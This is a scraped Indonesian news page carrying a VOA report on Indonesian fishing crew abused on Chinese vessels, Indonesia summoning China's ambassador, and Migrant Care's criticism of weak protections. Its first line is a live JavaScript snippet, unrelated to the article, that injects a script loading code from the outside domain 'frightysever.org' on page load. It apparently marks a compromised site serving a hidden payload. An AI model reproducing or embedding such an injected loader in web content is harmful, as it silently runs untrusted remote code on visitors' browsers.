(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: NASIONAL

ABK Asal Indonesia Diperbudak, Kemlu akan Panggil Dubes China


KANALKALIMANTAN.COM, JAKARTA -Pemerintah Indonesia menyatakan memberi perhatian serius terhadap masalah yang dihadapi anak buah kapal (ABK) Indonesia di kapal ikan berbendera China, Long Xin 605 dan Tian Yu 8. Kedua kapal itu yang beberapa hari lalu berlabuh di Busan, Korea Selatan.

Kementerian Luar Negeri Indonesia akan memanggil Duta Besar China Untuk Indonesia Xiao Qian guna meminta penjelasan terkait perlakuan tidak manusiawi terhadap anak buah kapal (ABK) asal Indonesia yang bekerja di tiga kapal ikan China.

“Guna meminta penjelasan tambahan mengenai alasan pelarungan jenazah (apakah sudah sesuai dengan Ketentuan ILO) dan perlakuan yang diterima ABK WNI lainnya, Kementerian Luar negeri akan memanggil Duta Besar China,” kata Kementerian Luar Negeri dalam siaran persnya diterima VOA, Kamis (7/5).

Kementerian Luar Negeri menyatakan pemerintah Indonesia melalui perwakilan Indonesia di Selandia Baru, China, dan Korea Selatan, memberi perhatian serius atas permasalahan yang dihadapi anak buah kapal asal Indonesia bekerja di kapal ikan berbendera China, Long Xin 605 dan Tian Yu 8.

Para nelayan membongkar ikan-ikan hasil tangkapan di pelabuhan di Jakarta, 5 Mei 2019. Foto: AFP via VOA

Kedua kapal, yang beberapa hari lalu berlabuh di Busan, Korea Selatan, membawa 46 awak kapal WNI. Lima belas di antaranya berasal dari kapal Long Xin 629.

“KBRI Seoul berkoordinasi dengan otoritas setempat telah memulangkan 11 awak kapal pada 24 April 2020,” kata Kementerian Luar Negeri. “Sebanyak 14 awak kapal lainnya akan dipulangkan pada 8 Mei 2020.”

KBRI Seoul juga sedang mengupayakan pemulangan jenazah awak kapal atas nama inisial E yang meninggal di rumah sakit Busan karena pneumonia. Sebanyak 20 awak kapal lainnya melanjutkan bekerja di kapal Long Xin 605 dan Tian Yu 8.

Jenazah ABK Indonesia Dilarung?

Pada Desember 2019 dan Maret 2020, di kapal Long Xin 629 dan Long Xin 604 terjadi kematian tiga awak kapal dari Indonesia ketika sedang berlayar di Samudera Pasifik. Kapten kapal menjelaskan keputusan melarung jenazah karena kematian disebabkan penyakit menular dan hal ini berdasarkan persetujuan awak kapal lainnya.

Menurut ketentuan Organisasi Buruh Internasional (International Labor Organization/ILO), kapten kapal dapat memutuskan melarung jenazah dalam beberapa situasi. Antara lain jenazah meninggal karena penyakit menular atau kapal tidak memiliki fasilitas menyimpan mayat sehingga dapat berdampak pada kesehatan awak kapal lainnya di atas kapal.

Para nelayan beristirahat di kapalnya di pelabuhan di Jakarta, 5 Mei 2019. Foto: AFP via VOA

KBRI Beijing telah menyampaikan nota diplomatik untuk meminta klarifikasi mengenai kasus ini. Dalam penjelasannya, Kementerian Luar Negeri China menerangkan pelarungan telah dilakukan sesuai praktik kelautan internasional untuk menjaga kesehatan para awak kapal lainnya.

Sebelumnya, Kementerian Luar Negeri bersama kementerian/lembaga terkait juga telah memanggil Manning Agency untuk memastikan pemenuhan hak-hak awak kapal WNI. Kementerian Luar Negeri juga telah menginformasikan perkembangan kasus dengan pihak keluarga.

Hak-Hak ABK

Direktur Eksekutif Migrant Care Wahyu Susilo menilai apa yang dialami ABK Indonesia tersebut adalah bentuk pelanggaran hak asasi manusia. Karena mereka terenggut kebebasannya, bekerja dalam kondisi tidak layak, tidak mendapat hak atas informasi. Hak yang paling dasar pun, yaitu hak atas hidup, terenggut.

Migrant Care menilai respon Kementerian Luar Negeri bersifat normatif, tetapi belum menukik pada pokok persoalan apakah sudah ada desakan bagi investigasi pelanggaran hak asasi manusia, juga belum ada pernyataan tegas untuk memastikan pemenuhan hak-hak ABK tersebut.

Badan tersebut juga mendesak Kementerian Ketenagakerjaan dan Badan Perlindungan Pekerja Migran Indonesia untuk bersikap pro aktif memanggil para agen pengerah ABK tersebut untuk meminta pertanggungjawaban korporasi dan apalagi ditemukan pelanggaran hukum harus diteruskan melalui mekanisme hukum yang berlaku.

Kondisi terhadap pekerja migran ini menurut Migrant Care makin memperlihatkan kondisi pekerja migran Indonesia terutama yang bekerja di sektor kelautan. Kerentanan pekerja migran Indonesia di sektor kelautan dan perikanan tambah Wahyu memang bukan hal yang baru.

Nelayan asal Burma yang dibebaskan dari dari praktik perbudakan di pusat pengolahan ikan, Pusaka Benjina Resources di Benjina, Kepulauan Aru, 3 April 2015. Foto: AP via VOA

Praktik Perbudakan Modern Terburuk

Dalam Indeks Perbudakan Globalyang dikeluarkan Walk Free pada 2014-2016, di mana Migrant Care menjadi bagian inisiatif ini, juga menempatkan pekerja migran di sektor kelautan dan perikanan, terutama sebagai ABK di kapal pencari ikan, sebagai praktik perbudakan modern yang terburuk.

Dalam pemeringkatan ini, terhitung ada ratusan ribu ABK Indonesia di kapal-kapal penangkap ikan berada dalam perangkap perbudakan modern.

Menurutnya kerentanan para pekerja migran Indonesia di sektor kelautan dan perikanan juga dipicu oleh ketiadaan instrument perlindungan yang memadai sebagai payung perlindungan bagi mereka.
Meski UU No.18/2017 tentang perlindungan pekerja migran Indonesia mengamanatkan adanya aturan khusus mengenai perlindungan pekerja migran di sektor kelautan dan perikanan, namun hingga saat ini aturan turunan tersebut belum diterbitkan. Bahkan terlihat ada kecendrungan berebut kewenangan antara Kementerian Perhubungan, Kementerian Ketenagakerjaan dan Badan Perlindungan Pekerja Migran Indonesia.

Politik luar negeri dan diplomasi, lanjutnya, juga belum maksimal dalam memperjuangkan penegakan hak asasi pekerja migran di sektor kelautan dan perikanan, terkait dengan implementasi dan komitmen antar negara dalam perlindungan pekerja di sektor kelautan. (fw/em-VOA)

Reporter : Fathiyah
Editor : VOA

 


Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

12 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

15 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

15 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

17 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

19 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

20 jam ago

This website uses cookies.